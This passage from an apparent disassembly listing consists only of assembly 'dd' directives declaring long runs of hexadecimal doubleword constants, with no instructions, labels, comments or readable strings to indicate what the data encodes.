		dd 0E173BB20h, 0D5F2FF7Bh, 2088B59Ch, 3ECF73D0h, 35C39DBEh
		dd 0A9AAA63h, 3FF16746h, 0D4963BB9h, 0C28B3BF7h, 3B1A9407h
		dd 7555C781h, 127FAD1Bh, 8BD19933h, 14C0F789h, 536AE54Ch
		dd 94A81D0Fh, 50F4FC44h, 0A311A840h, 17AD23B5h,	212AEBBFh
		dd 2386E979h, 8F50DDF6h, 0AA051064h, 0A026D950h, 0DA056F61h
		dd 284B84AEh, 9628A933h, 0ADD55ACCh, 0F658BB3Bh, 84782C14h
		dd 0E1B05B88h, 52A703A2h, 0DD12FD21h, 6353CF7Ah, 0A8054C84h
		dd 5A6899FEh, 0B481204Ch, 0C81842A8h, 0B17C8C7Fh, 0E3B81119h
		dd 6AD2F276h, 4088BE3Dh
		dd 0DC9CE284h, 0ADF59BDh, 0A0C7877Ch, 0C5B016B8h, 918ACF4Fh
		dd 0A4FA7F7h, 588A27DEh, 0BAE1715Eh, 6408166Dh,	0FB65CBB3h
		dd 6309E4F0h, 7FC2E569h, 845A6C1h, 4672024Ah, 0D5FB32E4h
		dd 0F9BF2B2Eh, 6DE1381h, 5CDA2F50h, 23F28F65h, 29C7B540h
		dd 0C23B62ACh, 6078606Bh, 0A3DEBD65h, 8D8D41C9h, 36541A88h
		dd 688B3EE4h, 1D4F4FD0h, 0C9AC0B65h, 5B7F3B94h,	4A9646BAh
		dd 5779AC36h, 0A128F0E4h, 44F87D0Ah, 0EE022C2Dh, 1F0F70A2h
		dd 43A64248h, 5F232FC1h, 75BE6849h, 712868CCh, 0AEE95C10h
		dd 0CEB84D39h, 9B96D078h, 0D456E109h, 732CFC2h,	9EE7B8CCh
		dd 59B46DA6h, 6C96C698h, 24876DA1h, 7ADD5527h, 3AE82172h
		dd 0E437598Ch, 52942C15h, 746F0DD4h, 0EBEF4DFDh, 594A82E8h
		dd 0DF343079h, 0E06A3851h, 0C3EC7197h, 9D27825Ah, 0BA2782F2h
		dd 68221EC5h, 68432DA6h, 0E3300263h, 6A7F696Ch,	83618BAFh
		dd 23F2A3D5h, 0DBF20DDEh, 3C53C087h, 24C970E7h,	6B57E8C5h
		dd 7F339453h, 90542B19h, 188A00C7h, 0E4BC8890h,	6D1D53DCh
		dd 0A6976D8Bh, 0D9D5F5DFh, 7D58C22Ah, 11AC924Eh, 0C66A0137h
		dd 7BDEF71Ch, 0F7A7B804h, 6C4B180Dh, 0E8C2B5A8h, 150897F7h
		dd 89E71F4Dh, 0E8DC0679h, 0C2ECB16h, 0A20F566Dh, 25C993CBh
		dd 717AFA17h, 0B61B8E68h, 38CA9D88h, 0BBA1132Bh, 0B436B671h
		dd 179AEB14h, 3CA17D81h, 57AC4061h, 0C28518A0h,	22C85B57h
		dd 6FF3C671h, 25CF55AEh, 1DC2B9E0h, 1257DE46h, 32AA42CFh
		dd 9D69BAD1h, 7B571C5Ch, 0CEB40481h, 13D08A99h,	42890597h
		dd 0E5CABC36h, 0DE8B6FFh, 0D33F1DC2h, 7CDC333Ah, 8740EC8Fh
		dd 23F7AC2Dh, 6B34A9CCh, 13F857EFh, 0AED767F4h,	360B7DBAh
		dd 3C9069BAh, 0A3518D4h, 1260936Bh, 0B37E4284h,	0C17D4CBCh
		dd 0B944B80Dh, 6F823195h, 4C77C7ACh, 14DB103h, 16CCB67h
		dd 83DF9E1Bh, 0BC9B4D56h, 24D443D1h, 498CC8DAh,	0D96CCBBCh
		dd 0B403F20Bh, 70F2842h, 0C5A0C690h, 6F5EB90h, 6A7EC803h
		dd 1007253Ah, 0DEE85A61h, 7E7C7197h, 0AE80E7B1h, 7166308Ah
		dd 3323E3ACh, 843DD509h, 78EFB608h, 188764A5h, 0E773DFA3h
		dd 0CA66225Dh, 0A5CC368Bh, 0E21A9269h, 8813A2F7h, 3C49B7ADh
		dd 0B69BB301h, 0D56B811Eh, 7A18B643h, 0CA8E1148h, 6FAAC70Eh
		dd 4DE84B91h, 95D7680Eh, 3B5B5F09h, 0F3395122h,	25877E9Ch
		dd 117765E6h, 0BAD16B06h, 0E48B615Ah, 0DC4B74EEh, 957F3338h
		dd 4D4A6098h, 0A4CB1F88h, 0CA1C8F6Fh, 0CCB4F7DDh, 0DC2B1905h
		dd 2A71BAA2h, 0C6305864h, 0A0EFC53Dh, 0C61D3FBAh, 7DC26114h
		dd 5627D942h, 3DDD54FBh, 3867840Ch, 2163BA02h, 0DD25BDF9h
		dd 636513F9h, 328ACA63h, 4DA7761Bh, 67337813h, 5F9E6966h
		dd 43CE047h, 0CBD2DAD3h, 0C6A84E06h, 8719A882h,	3D4436CBh
		dd 1F45C42Ch, 0E22399DCh, 0BBBE23C2h, 5F88D9DBh, 0DD84FFB1h
		dd 0D1799763h, 71AE6C80h, 461DF454h, 74B12D01h,	4754D38Fh
		dd 0CE054DACh, 1D1CEC47h, 0CBF0B021h, 6866D8B7h, 99E74E90h
		dd 34EA49Dh, 60947A29h,	1AFC9C1Bh, 0D270E9B0h, 5AC21DD1h
		dd 4E4399B1h, 0FA019859h, 275AD1F7h, 1535E189h,	0E7211A3Dh
		dd 6119F4DCh, 3218C266h, 70753174h, 0FC8DDD8Fh,	0BEB05A32h
		dd 7D912A8Ch, 0B5FA201Ch, 6E575CFCh, 0A2C87FD9h, 53C0713h
		dd 250D30Ch, 4C36B471h,	0A060781Ch, 0D90609C8h,	5EB6C059h
		dd 96FB13BFh, 2BA510ADh, 2D077F7Dh, 42278567h, 0DA34BF4Ah
		dd 55E077E2h, 677E9F33h, 0EABDFE3Eh, 0D10647D6h, 121FA0C2h
		dd 59AD330Fh, 5CE616D1h, 0D230F354h, 345A61CEh,	526621AEh
		dd 11702211h, 590D66h, 43CCE563h, 20EDA4Dh, 72F718AFh
		dd 7D41585Bh, 3EEAAA21h, 2EB6638Dh, 4B8D64B8h, 2D5312BEh
		dd 98F92F5Ah, 269C554h,	47F6AAC5h, 8A7C50ACh, 791A9818h
		dd 7DB25F67h, 0E9402325h, 33CA3288h, 188B3443h,	6CFEF4FBh
		dd 0D59C8540h, 1BD4A185h, 0A78831E5h, 0C11D2FCCh, 6E4ABA6Eh
		dd 83CB7ECCh, 0D8F8CC91h, 0B8399A9Fh, 0B659D3F1h, 446291A0h
		dd 1F3D4F05h, 0B68D391Dh, 836AE15Eh, 0D4E686C5h, 0B59AA762h
		dd 4DAFFD0Fh, 27CF8E03h, 0C6A2BE06h, 0D9DC63A8h, 0F61295C9h
		dd 0FCCBDC81h, 0EF09BD52h, 42E02EBFh, 9E4D3595h, 0B5DDC14h
		dd 10E5141h, 75DD2856h,	87058DC3h, 859F4CE1h, 0C85982A6h
		dd 56A9F24Bh, 133BBB42h, 77463114h, 9995AB6Ch, 8D8AD19Dh
		dd 74FDC264h, 0E4532C18h, 0B8BC253Dh, 7231B7Dh,	981785AFh
		dd 0FB9111B6h, 840434DCh, 0A4E781Fh, 8597DA33h,	96C26AB8h
		dd 48940074h, 0AFA30366h, 2E94673Ah, 0FB86587Bh, 1E22F1C8h
		dd 36977E03h, 0F5173450h, 0BDC58698h, 0CAF129E8h, 55E3273h
		dd 0F0436A28h, 211D8F15h, 47AE13B3h, 366041CFh,	9D7B5380h
		dd 0A20C37EDh, 6FB90307h, 7C6D15A9h, 0AD9CA961h, 96340BF4h
		dd 503167C5h, 0D9DF3260h, 824AFBD0h, 11314128h,	0A571B40Ah
		dd 978DE985h, 46D4F48Fh, 846C6858h, 4CD59A1Ch, 4EAF2C93h
		dd 0F7968DFh, 1098F5C2h, 9624B00Bh, 88112A41h, 0AA03C4C7h
		dd 2F145730h, 87051B06h, 825FBCEDh, 7E17635Dh, 9699B82Ch
		dd 8F4F7155h, 636539Ch,	73E23356h, 579252DCh, 9B27F5A6h
		dd 0ECB30971h, 0BD0E945Ch, 0BEB06B9Ah, 91A02419h, 26D174F2h
		dd 0D25938B4h, 43798D37h, 0DF896B4Ch, 0AAB69A83h, 0BA2B879Bh
		dd 0EE4D5B33h, 0C35393F7h, 8E60AB50h, 0B2B17AFh, 0CD3981C1h
		dd 0CEF9C5E4h, 1403E64Ah, 3C547808h, 7095684Fh,	7A18D1FEh
		dd 7AFFE843h, 0EF9A2D66h, 0A89E15FFh, 0A8A71B8Ah, 0B312A936h
		dd 0A615AF27h, 65E7359Eh, 8EC96499h, 0DAB643BCh, 89C0AE66h
		dd 0C6940459h, 2264B5CBh, 43BDA69Bh, 121B9220h,	329B170Dh
		dd 23677191h, 3D5EC85Ch, 42D2A83h, 1FC6BB0Eh, 5ECC65CDh
		dd 3B3D70B9h, 81B47A5Ch, 840E2DF6h, 80FD3A48h, 0CA8C8542h
		dd 0D60F3774h, 0DF80A420h, 0D032B3ECh, 862AABB6h, 0E794363Dh
		dd 8C5D18F4h, 9AF167E0h, 0AC073616h, 9090181Dh,	0EAB33409h
		dd 0F1F0540h, 8E1BE6BCh, 0EA536459h, 0C0CA1097h, 0F6B6A148h
		dd 0FDE47E65h, 450988D8h, 958CB2Fh, 61CC9410h, 57296B52h
		dd 2A5A18B6h, 84F5FCEBh, 232372BEh, 56337221h, 868F031Ah
		dd 3FD1D821h, 0FE385441h, 0FD583A77h, 3D070652h, 59E97CBEh
		dd 0C3D52AC4h, 5E9E6986h, 90956D9h, 0E5C7F3h, 0E36FE5BBh
		dd 62A8C449h, 441391BFh, 325544DBh, 4BBBD865h, 0FF8B6B7Fh
		dd 2A6566B4h, 35764749h, 9F5F4DEFh, 3794F23Eh, 3FB4A533h
		dd 2486294Dh, 0B76C5FB4h, 0FE15D697h, 1D6694D9h, 0C5DC016Dh
		dd 527F3825h, 83D5453Fh, 0A009338Fh, 0FD398BC1h, 0C9DEDAB2h
		dd 5B565B52h, 0B69CF8DFh, 35D25F50h, 5652BFB2h,	84E80BAEh
		dd 5F5F3EFBh, 46E151B1h, 0A92B56DDh, 82A63EF8h,	795415F4h
		dd 641E29CBh, 0FFBAAD23h, 170DCF34h, 402CDDD1h,	1DCF2D25h
		dd 0EAF11311h, 0F6B151F1h, 8A11FCA9h, 0ED1A3055h, 0E8891A34h
		dd 0E40530h, 0F618FAFBh, 108CE155h, 423DFA6Bh, 978E1C20h
		dd 4FBEA66Bh, 3EF8F469h, 0CFA0B6Ch, 96B51C5Fh, 0B94D645Eh
		dd 0B0D2B104h, 0E4227AF6h, 28BC0A04h, 0DF45B34Dh, 187F87CEh
		dd 9A8B4A11h, 39EB5BE2h, 96E7EF22h, 0BE0B0AF4h,	82FFAF8h
		dd 0EFE78D72h, 0FFCFA672h, 0C11AADD4h, 22F0DCD8h, 3A3081F7h
		dd 6E0CFC47h, 8B95F939h, 2A645B83h, 0B332589Ch,	0B0FFC074h
		dd 4E3DC3BCh, 0CB17F7A0h
		dd 0C93F48A5h, 36F75891h, 1DEEBFE9h, 61EEC597h,	9E427A7Ch
		dd 0FE004A2Ch, 8ACFEAD8h, 5379D0E2h, 0A428D9CAh, 848E64BCh
		dd 1AC6B02Eh, 39803A4Ah, 0D695D96Ch, 0C3FA6D3Bh, 0D02C45B5h
		dd 0E7C63C6h, 9920088Fh, 71F80E48h, 6424D825h, 5B55FF36h
		dd 0EEA1477h, 1F30EDA9h, 0FBEC68EDh, 0CE831537h, 5AF97577h
		dd 14D08D62h, 60D5D5CBh, 6B04CAC8h, 55A79333h, 0DFC618D0h
		dd 136B93A6h, 2599AC97h, 69CB930Fh, 0F17D0EABh,	8B8CAE82h
		dd 0FBDC1C1Fh, 4B1B4D7Dh, 0CB2DF954h, 0B71D8E68h, 837C0230h
		dd 6403B361h, 7A05AC72h, 80023333h, 3EDE2681h, 0BE92D222h
		dd 0BD499720h, 0C7D4C7EEh, 0B35587DEh, 0FD427859h, 7F46BADAh
		dd 0CE741D4Eh, 0FA832ABEh, 9AFB037Fh, 0A4C5505Fh, 0F1BE711Ah
		dd 0E1E7B3A4h, 3A53A33Ah, 72F70B75h, 2A1D3F4Dh,	27E745E2h
		dd 28E1F2A3h, 84EB6BCBh, 2A0B0A1h, 0BC69CB01h, 6E77D478h
		dd 0BA872412h, 47CF2CA7h, 0B05EEFE2h, 3CD73296h, 0B6333331h
		dd 2679321Ch, 7FC26C21h, 0CA236D76h, 0AEBE84Fh,	3A4F6E50h
		dd 31E36644h, 13FA4FBAh, 4514D4EEh, 1E4F42D3h, 7B302569h
		dd 2E90B9C8h, 95B0396Dh, 4213206h, 4B56FEF4h, 4D26A8B5h
		dd 56FCEE87h, 2F8F5F4Ah, 0C24466EDh, 0D71C38F4h, 66F3995Ch
		dd 0AA5B1C14h, 0A9CAC0B0h, 0B8280056h, 0A6D104D0h, 7E4AA85Ah
		dd 0C5957E38h, 0BCA35DB2h, 424548Dh, 1F47A778h,	372B0E90h
		dd 0E7904F94h, 0AF31F2ABh, 0F4D520DFh, 0DAF0EC1Ch, 0B687DA30h
		dd 31586623h, 8C44DFADh, 34706360h, 6F2BF076h, 14F6093h
		dd 9CC2FF03h, 0FC7D45DFh, 0C3BD21DEh, 0F596DD5Bh, 64B75AF4h
		dd 0D07880F4h, 45DC884h, 0CAE716CCh, 5BA06D9Ch,	0E3335329h
		dd 0C26800AAh, 4C0D297Bh, 0FEF23C32h, 2D64189Bh, 342F5F93h
		dd 0A5E97BEEh, 415F170Eh, 3D9DA58Fh, 0AF69AD9Dh, 773D31FBh
		dd 0EF66E220h, 0FC4B47DDh, 0C817F789h, 94C90AB9h, 5C565E87h
		dd 0AD78889Eh, 9F00A204h, 663BC0B6h, 4DABF99Fh,	13D094A1h
		dd 0C7FC1A79h, 9FED27EDh, 45E16246h, 0A2F6DDDBh, 8F8963E9h
		dd 326D319Ah, 871ED9B0h, 0E034FDF7h, 9E4E65Bh, 2CBB1688h
		dd 98C9D14Ah, 0F86875B9h, 520D5B6Ch, 40AA32A1h,	0DEB3F88Eh
		dd 0C703F7DAh, 44F42982h, 5E6A7FD9h, 0AABA9A1Eh, 81AE8139h
		dd 0A4F7C8A0h, 501423EEh, 0E295C671h, 543166F5h, 3D7763F4h
		dd 95F9051Ch, 0E8CCDA57h, 62CD7FC1h, 7D14FC5Fh,	356B6306h
		dd 0A6B9666h, 12FC9E87h, 2953FF11h, 86AF22E6h, 0E18A224Ah
		dd 99D9A79Fh, 0B41EEC90h, 70F36C53h, 0C70905E7h, 0ECB47965h
		dd 32D0BCB9h, 0B2293A84h, 260CD61Fh, 3C437932h,	82AB6C98h
		dd 65DB3742h, 0AD3C67CAh, 5EF4C61Eh, 64B2373Eh,	9B7B988Ch
		dd 0E144E8B3h, 7291C0FDh, 1D8C6E9Dh, 0BD4FE710h, 6AD7C4B4h
		dd 7CD397C5h, 0FB127E30h, 318E3F04h, 2D74E982h,	6F7ED14h
		dd 46D59120h, 0C949D6EAh, 1699D24Fh, 5D2E0900h,	0E7E24EE4h
		dd 80034664h, 1D68F033h, 8490B5ECh, 2BB3E8EAh, 0AB0DEBCh
		dd 0BBDBF441h, 12CE119Ch, 0D811C3ABh, 8F65B138h, 0E5E48997h
		dd 4962E26Ch, 49E1B324h, 4F03986Eh, 0CA81F5DCh,	0F114A66Ah
		dd 4F7837A4h, 0E61C0DE9h, 4DF903A1h, 24A4D21Ch,	2A69AF07h
		dd 597B1FC2h, 5EB7B17h,	45AC9AE4h, 598370E9h, 27E5F3Ch
		dd 0CF7EB7FDh, 677D7B08h, 0F0EFD3A3h, 0BAE75F5Eh, 1739C192h
		dd 0E92E9B97h, 0E2247BFDh, 6BB756E3h, 80B64FCBh, 7B8EEE8Ah
		dd 0EEA063DDh, 99D345EDh, 0AC4F82Eh, 93551C90h,	8CDFFC96h
		dd 0ADC0B0E7h, 3454C4E5h, 3C38B644h, 8ED4AA9Bh,	5F8B4346h
		dd 0F12A5A5Ch, 73FF1C5Eh, 19B81886h, 212E170h, 31F9BEBEh
		dd 3AC9F0F5h, 5EDDD2C1h, 0F0B3CE01h, 0F07E6C48h, 22C6F64Fh
		dd 1B781FEFh, 0E2804808h, 0AC0F1933h, 99D5FC12h, 0BA8D1FE1h
		dd 0EBECB222h, 59F9293Fh, 18786E8h, 0D1DB5F25h,	2379F021h
		dd 0CA2F580Bh, 0F9C108EDh, 168BAF3Bh, 658BE7B6h, 968DF1EEh
		dd 0C43A132h, 0B9C60628h, 8261E8F5h, 6F34684Dh,	0C66A07D8h
		dd 2410F084h, 485610DDh, 49D124C0h, 0F1055AF3h,	165B9BF3h
		dd 2F5BDED2h, 17DCD95Eh, 70D8AC5Fh, 98A3A2A0h, 0CA6A2682h
		dd 5E5DDA7Ah, 973EC05Eh, 613E6CEBh, 0D9530E40h,	69EB644Eh
		dd 47049312h, 1CE8967Ch, 6E61E8C6h, 0BC4A833Ah,	837C861Ch
		dd 0FA42F359h, 7B7EE93Bh, 59D389B6h, 78F31211h,	0CC4E7B0h
		dd 0A462BD8Bh, 5B5A504h, 8D6D13D1h, 0F6222A33h,	5231C91h
		dd 90D4CB27h, 40D8A130h, 2EA5A49Ah, 5CC4B0A2h, 3CDE420Dh
		dd 5452250Dh, 1F5FBA92h, 0B2BF5D06h, 9C37D0E1h,	0AC45ED56h
		dd 33582382h, 8520B63Fh, 60469D1Bh, 0C827E85Dh,	401953Ch
		dd 0FC364B6Ah, 0D9740F68h, 4D3ED0B0h, 0D1E1822Ah, 4902051Ah
		dd 8C78AC6Ch, 8B998ACAh, 3BB3307h, 24187F8Bh, 0CD1C389h
		dd 9CA71EF8h, 212F1DDEh, 8095C1A5h, 181A8B0Ch, 0EAC64E20h
		dd 3EBE93E3h, 126C5EABh, 0C2E7030Bh, 115E5FDh, 1A585046h
		dd 90EE9C15h, 8CA4F4E6h, 9B8839F2h, 1312118h, 0B86802B0h
		dd 885D5E4Ah, 1E377480h, 0D83BA726h, 87815624h,	0BDC32A33h
		dd 0BCFBD371h, 0F50C1CE8h, 57C505AEh, 251D37Bh,	0F7BA2C3Ah
		dd 0CB76F7AFh, 166AC2B6h, 868F555Ah, 1713C444h,	4AA7067Bh
		dd 0BA60C1B6h, 93096843h, 14E5BEF3h, 5D1F63BEh,	49DEE460h
		dd 42EEF8AAh, 218A22B9h, 13402A9Eh, 337A6CD8h, 0EBC30551h
		dd 9E76D629h, 22534A79h, 2D0E5B40h, 16A27BAFh, 0D325B4B2h
		dd 7DD80264h, 5E0C0F73h, 0D68E68E4h, 3CAA2E05h,	3AA8F257h
		dd 3A218F5Bh, 95F9BB90h, 2850B8F4h, 0CAD24CEh, 5A9FC90Bh
		dd 8DF339CCh, 6E061168h, 5A2409ECh, 0C4321339h,	0A279B4D3h
		dd 5586C80Ch, 0F18F7585h, 5B1736CCh, 0C13A6E5Bh, 921F788Eh
		dd 97A346EAh, 0E8CD3543h, 0F59B1342h, 0F41659DFh, 9B677293h
		dd 0A60CCE6Fh, 5BFCAF40h, 0BBE129CDh, 869A7259h, 0E1F2C251h
		dd 38404BABh, 70EB57Eh,	0D31A04DCh, 8B4F1935h, 9BE042BCh
		dd 7E775B7h, 0AD1EA8BBh, 0E6400936h, 86F9EA1Ch,	0FA556527h
		dd 8769728Bh, 0DAE9D685h, 0F00912BDh, 0D4A00470h, 0ED452717h
		dd 0F8CD242Ah, 0AC3AC981h, 2CB4F20Eh, 0E04A1928h, 1D1B6327h
		dd 36EC36D6h, 0FC513789h, 0B1A097FCh, 2A9F6CA9h, 61027D64h
		dd 3C25D976h, 42F32262h, 781FACA7h, 0BD5DC81Fh,	0D6A17282h
		dd 7133CADEh, 0F55FB25Ah, 6227C4B8h, 31E70B11h,	2749060Ah
		dd 0E257A8ECh, 82DA5906h, 1981389Dh, 30C9D19Fh,	2DEACDC0h
		dd 0D29CABFBh, 883B2732h, 8D7F8A56h, 0FE277B59h, 0A27CB92Fh
		dd 0C9E8E26Eh, 603CE5A6h, 839C5D8h, 0E42E5A9Dh,	1D836FA4h
		dd 0B2F86C4Dh, 44DA051Ch, 38C8181Bh, 0C3EB21D0h, 0B2275362h
		dd 671A474Eh, 0D20465DDh, 84D46A62h, 27859F88h,	9C94F34Fh
		dd 8DBDC0CCh, 0B37A2BC4h, 0B5064EFh, 4906A9E8h,	2051734Fh
		dd 49492E74h, 899F4FA1h, 4019EE37h, 185B7E26h, 6B83E43Fh
		dd 201981B0h, 5E1D0586h, 422110Ah, 3E32C34Bh, 0CDB96308h
		dd 6647B5C0h, 84B72C84h, 0FB72779Bh, 479851B4h,	0A6718E32h
		dd 2D171A81h, 0B03963A4h, 8E954F63h, 0B05EA635h, 96C837CAh
		dd 6217D132h, 0DA987427h, 93840F2h, 5423AFEAh, 0AE0CBBCFh
		dd 0E6E0B8B1h, 8CD93F53h, 974C2F5Ah, 0EE612F96h, 4044774Fh
		dd 0E52A52BEh, 0D2767BCBh, 5600E136h, 7B2A9FCCh, 0E930E581h
		dd 0BD228745h, 66A031A8h
		dd 75F46271h, 860553BBh, 4CAC9759h, 50EC8478h, 95FC3F7Eh
		dd 0A6BB1BADh, 4F0F4163h, 7E2B4FF7h, 4602A17Fh,	0C41F0420h
		dd 0FEF919B6h, 0A76EC9B0h, 0CE5ECA02h, 0E4FFB535h, 508A7C1Bh
		dd 3A3C16A3h, 6C2E1027h, 9BFB7A17h, 45CDA5A5h, 0EB3BAF81h
		dd 0B962F0BDh, 0B1DEE405h, 0B13830BBh, 0E5419BB2h, 8D248D09h
		dd 9EF8F4C4h, 5877657Dh, 0B0D31640h, 4113ADD5h,	6AB63016h
		dd 98A1184Ch, 0FB1C2F3Bh, 0A33B4955h, 0CF3C11BEh, 49A8B30Ch
		dd 0A2FCB4A6h, 3113B0DDh, 4D4803F8h, 3E37A372h,	54674D2Bh
		dd 0A94AB53Bh, 0CB92AF3h, 7CB1C9FBh, 4524B290h,	85BE4AEh
		dd 7CF08A6h, 7AAE25C3h,	7D81364h, 5F25C866h, 4D6A22FFh
		dd 0C5DC75C8h, 0CF531B8Bh, 0B904E67Ah, 6D9FA035h, 0F558EACEh
		dd 5852A95Ah, 87ABC4FBh, 21CDE921h, 88843519h, 5A7CA71Ch
		dd 5C15B413h, 371D341Dh, 7D021DC9h, 2429D9E3h, 0E9C7AF5Fh
		dd 0B847DF54h, 99BD76F7h, 0B9D344C8h, 0E27F6EF0h, 81509CFAh
		dd 0FDB6FF81h, 3F3F9B61h, 7E868484h, 0D743D198h, 79974FCAh
		dd 7EFCB5E3h, 0B7A804F6h, 0FC821A2Ch, 0F9052F95h, 0F1B220F0h
		dd 5427D262h, 190F4465h, 0BB3BA1EBh, 0C0414E54h, 0D4ADF1A9h
		dd 81D8221Bh, 3F3C9A88h, 760A9F01h, 590BA9ABh, 339BD609h
		dd 0B38B229h, 0CBAFBCC5h, 91B83FB9h, 0F0B9F25Dh, 8322B345h
		dd 3549C2Dh, 598CB5DBh,	5207FA67h, 18000523h, 5BC37BC4h
		dd 148B7A16h, 985A1D0Fh, 35FAE6CDh, 2B87445Ah, 7A721BE2h
		dd 0F7EB272Fh, 4BB46B04h, 65B09B56h, 47770CD7h,	2F853868h
		dd 5C78D24Dh, 0DCF39839h, 5B25683Fh, 89979E30h,	85CE1322h
		dd 11CD0E97h, 349C69A9h, 26D8A33h, 5F57DCC3h, 76CDA834h
		dd 0A1D12378h, 506DC9A9h, 264CE083h, 0C8E12196h, 21DE6809h
		dd 0FB69EC65h, 0B972C29Bh, 0D0731F7h, 2EA25406h, 4E405078h
		dd 0C1567667h, 952EA375h, 0CAA5E313h, 35C93E92h, 4FC0DB0Bh
		dd 0F565CCC6h, 400FA4E4h, 0E3CE01AFh, 85D7B345h, 3A4989F1h
		dd 8FC3A2E5h, 0D671946Bh, 8FD29h, 78AC056Ch, 0FE43D4Dh
		dd 734B1F2Ah, 0FF039DDAh, 0F20C5772h, 3BBFC995h, 0CA5EDEE4h
		dd 50E5211Eh, 59AE640Ch, 2DD6EF63h, 593407AEh, 38B3A597h
		dd 0F71411DBh, 74D93DB2h, 0AEB6BFFFh, 0FBF8662Dh, 0B56A4A2Dh
		dd 3879BF8Eh, 0F9AE9EAh, 3ED03B5h, 0F16CD095h, 6DE3638Fh
		dd 0A1CCFCB7h, 2E9575B8h, 0E29D3946h, 1E565477h, 997AE6F7h
		dd 0E92B4AA0h, 8ACF121h, 0BC624C80h, 0DD7B214h,	0B7742DF2h
		dd 113A2CC0h, 0F7C6D033h, 2F8302AAh, 0C0209D7Bh, 0AF835BD9h
		dd 0A9B73B91h, 296EC117h, 5A24ED57h, 1B485C24h,	1974B46Dh
		dd 0F7E3EA09h, 99C2AA48h, 9DD866DFh, 7E861E57h,	65AE3E6Fh
		dd 9292F0Eh, 82717F20h,	22DF4D3Dh, 60EBD829h, 7C63B499h
		dd 5927338Bh, 182E2728h, 818A7128h, 71F0BE3h, 0F390D41Ch
		dd 0C975812Bh, 0B43E47A7h, 16863426h, 0E68CE2h,	9B0D18FBh
		dd 71FE2E43h, 0A5A57477h, 0EB629AAh, 5E760885h,	862D15FEh
		dd 0CA1AFB4Fh, 0C05F188Ah, 371B8EEEh, 0A3E8D449h, 306F7F68h
		dd 0B68011B9h, 0C7E9F553h, 7362D45Ch, 77283F35h, 0A3FA0677h
		dd 0DABB5521h, 6A577D7Eh, 61109ACBh, 6F612542h,	0BF089DB5h
		dd 4954ED87h, 0CB1047F1h, 0D9D89E55h, 1DF2ABABh, 6D8F1718h
		dd 55EAEA2Bh, 8B6C8164h, 205D8221h, 0C88B8275h,	6ACAAD27h
		dd 88958067h, 0FF3BB649h, 0E5037CABh, 0CF4E4684h, 2FD10D0h
		dd 6FD97067h, 347B36C7h, 372996C5h, 90B41D11h, 2322133Fh
		dd 3B5746B4h, 0FC7D770Ah, 517D0074h, 0C0546D5Ah, 0BF90BFC2h
		dd 3FF05995h, 3296B893h, 8A688076h, 98D6866Eh, 3252563Ch
		dd 70320491h, 2F1D77D6h, 60B65848h, 403C2C69h, 388D417Eh
		dd 6F214B81h, 0DFB11CC2h, 5E0DC420h, 9D6FD64h, 0A315AA59h
		dd 0C361097Eh, 0A43DAFFBh, 1CBED383h, 0E11B18EEh, 25F086EBh
		dd 9BFBEB95h, 0E08DDFC0h, 23E07286h, 47A02A77h,	39A9060Dh
		dd 0EB99893Ah, 48EFA31Eh, 382ACA1Ch, 68A7C2D7h,	8FE623BBh
		dd 0DEE074A7h, 0F7B4024Bh, 0A69DE6C6h, 2539DDA7h, 0C11A1AA7h
		dd 7A36E4C7h, 3BFC36DFh, 0DCAE99C3h, 0B6B9D4Ch,	7E3AE074h
		dd 4EF99CF1h, 0EFAF000h, 48178802h, 58F657A5h, 6448FEF7h
		dd 6A9CB627h, 1B3A9177h, 5EB7D391h, 511DAFB2h, 44B27BB3h
		dd 73768560h, 0A312DE57h, 67BB7680h, 8AF48157h,	0C335DC1Ch
		dd 66A607D4h, 10ED3E2Ah, 0E51F48A4h, 0D3BF23B4h, 83CA987Dh
		dd 280F1A92h, 520FBE2Dh, 0D309C510h, 23E48393h,	0E6D34C05h
		dd 3B32F972h, 66567744h, 9994F897h, 7DA03F72h, 0F10C40Ch
		dd 7DDAFDD0h, 0DECD033Bh, 0BD5BA1E9h, 5A94709Ah, 7F5475A0h
		dd 0FCBEA56Ch, 71FEF7E5h, 236C867Ah, 0DFA9CD25h, 6617861Dh
		dd 18A61DB3h, 1F5342FCh, 6AC4A0A8h, 31EBAFD3h, 0B27C1BAAh
		dd 0D4D8758Ah, 0DEBAC609h, 8198A39Dh, 0EA91EA78h, 8C424972h
		dd 3EAD0D0Bh, 31345FE8h, 0DEC5819Dh, 84E2846Eh,	0DB11C689h
		dd 0C6070E9h, 5E2E0AAEh, 0C27F98F7h, 6EE7B90h, 0A0F982C2h
		dd 0AA7F8809h, 268746F7h, 907A8BA8h, 3FE3622Dh,	0B7423E13h
		dd 0F6F65E0Bh, 9BA787Ah, 0C7159A2h, 1F2C594Dh, 0C68E6A09h
		dd 0CD9572BAh, 286F59B8h, 6E904DDh, 85E20584h, 76DF4B43h
		dd 0F12FAC36h, 12678E6Bh, 0FA3B4F17h, 5D7D4B9h,	2661A765h
		dd 19BEF11Ah, 0A331C5C1h, 1FE6A096h, 0DC3B4949h, 7C4B4ED1h
		dd 0EA223C22h, 482BA02Fh, 73996D1Fh, 4BD2E01Bh,	0A34DE422h
		dd 5E2813D8h, 90779393h, 1122317Bh, 346B60E9h, 0A261791Fh
		dd 9BF8EC43h, 3F5FF816h, 9012590h, 0F4CA12DEh, 0E08F4B2h
		dd 4F259B12h, 0CBC83C6Ah, 3E72AAC0h, 84C4956Fh,	0E2CAD253h
		dd 0F6F0CBB0h, 79DFDAEBh, 0BF210374h, 1A359366h, 0D07F3B77h
		dd 0D8060960h, 3BE326E7h, 2C4CC935h, 0A4AC5DB9h, 280EB9A7h
		dd 8584C683h, 58B7E2EBh, 4293BCAFh, 33C34596h, 0C2F225EEh
		dd 0E31DDB29h, 0DA41FD4Ch, 47569B4Dh, 0A40F2DABh, 22F221DCh
		dd 690B16FBh, 0F3278736h, 0A1D15D2Fh, 4D79A328h, 0DFE79100h
		dd 867530CFh, 998F962Fh, 5E1FA340h, 0A0AC8F56h,	2C521494h
		dd 0DED91A47h, 0F18F9557h, 34254309h, 9A8E38DBh, 0F5CDD643h
		dd 0A3B30D16h, 0BB7C2BAEh, 0F24173C0h, 35708F0h, 0C30E436Bh
		dd 1A18C401h, 0CB408040h, 3C3AE6CCh, 0CCEF4D6Eh, 0D7346B17h
		dd 0E0DFDF1Eh, 0DF7D7D97h, 0C5430119h, 0E7E00F2Fh, 3107BBB9h
		dd 0E1EFA787h, 0DB9216E1h, 50301EB0h, 30114535h, 1E83A7E9h
		dd 7516572h, 0ED552919h, 1C927F93h, 0F1AA7121h,	0F28DBB5h
		dd 9B044200h, 74C78A7h,	0C4624EE6h, 951C60FBh, 71CACB5Bh
